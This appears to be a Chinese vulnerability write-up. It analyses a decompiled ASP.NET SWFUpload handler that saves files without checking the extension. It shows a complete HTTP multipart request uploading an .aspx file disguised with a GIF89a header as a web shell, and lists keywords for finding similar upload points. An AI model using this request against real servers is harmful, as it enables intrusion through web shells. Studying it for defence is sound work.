简单分析
在一次机缘巧合的情况下,拿到了一份源码,我们找到了plugln下的SWFUpload,显而易见,这里很有可能是一个文件上传的点。
打开uploadfile.ashx,找到对应的dll和class,拖入dnspy
首先加载该类的时候先进入processRequest
post值传入UploadType=UploadForumFiles
之后可以看到使用了HttpPostedFile来进行文件上传
完整的代码如下
private string UploadForumFiles(HttpPostedFile file){string PkID = (string)Public.sink("PkID", MethodType.Post, 130, 0, DataType.Str);int FromID = (int)Public.sink("FromID", MethodType.Post, 30, 0, DataType.Int);string FileNo = (string)Public.sink("FileNo", MethodType.Post, 130, 0, DataType.Str);string reval = "";bool flag = file == null || file.ContentLength == 0 || string.IsNullOrEmpty(file.FileName);string result;if (flag){result = reval;}else{string pathBase = string.Concat(new object[]{"/LocalFiles/CustomForms/files/FromID_",FromID,"/PkID_",PkID,"/"});new iDisk().FolderCreateUrl(pathBase);string _FileExtend = new StringUtils().GetFileExtends(file.FileName.ToString()).ToLower();string _FileName = string.Concat(new string[]{PkID,"_",FileNo,".",_FileExtend});string _FileSaveName = pathBase + _FileName;bool flag2 = iDisk.FileExists(iDisk.MapPath(_FileSaveName));if (flag2){new iDisk().FileDelete(iDisk.MapPath(_FileSaveName));}file.SaveAs(iDisk.MapPath(_FileSaveName));result = pathBase + _FileName;}return result;
接着再次传入的post值为PKID,FromID,FileNo
之后赋值一个路径为”/LocalFiles/CustomForms/files/FromIDFromID/PkID/PkID/“
接着newiDisk().FolderCreateUrl(pathBase); 创建如上所述的路径的文件夹
然后fileExtend获取filename文件后缀名,这里没有进行过滤,而是直接获取
fileName将拼接之前Post的两个参数,拼接成为文件名,如传入的三个参数都为11 ,11 ,11,那么最后得出来的文件名为11_11.asp
之后进行保存,然后return,因此按道理,应该会返回路径
构造Payload
因此我们可以使用Burp来进行盲payload的测试
构造几个post值,没什么问题,前四个参数都是上文代码中所需要的参数我们传入进去,而最后一个参数file则是文件上传中必须的file参数
接下来只需添加一个filename= 和conten-Type即可(这些都是文件上传所必须的格式,至于为什么要选择octet-stream,是因为octet-stream是通用的,当你不知道选择啥type时,可以用它试试)


POST /PlugIn/SWFUpload/UploadFile.ashx HTTP/1.1Host: xxxxxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6,th;q=0.5Cookie: site_825356=site=825356&ip=49.80.188.72; ASP.NET_SessionId=p43oxyxboxte352oaf5fufjpConnection: closeContent-Type: multipart/form-data; boundary=aaaContent-Length: 396--aaaContent-Disposition: form-data; name="UploadType"UploadForumFiles--aaaContent-Disposition: form-data; name="FromID"22--aaaContent-Disposition: form-data; name="FileNo"22--aaaContent-Disposition: form-data; name="PkID"22--aaaContent-Disposition: form-data; name="file";filename="test.aspx"Content-Type: application/octet-streamGIF89aWebshell--aaa--
搜索上传点的关键词
httpPostedFile.Save
Directory.CreateDirectory
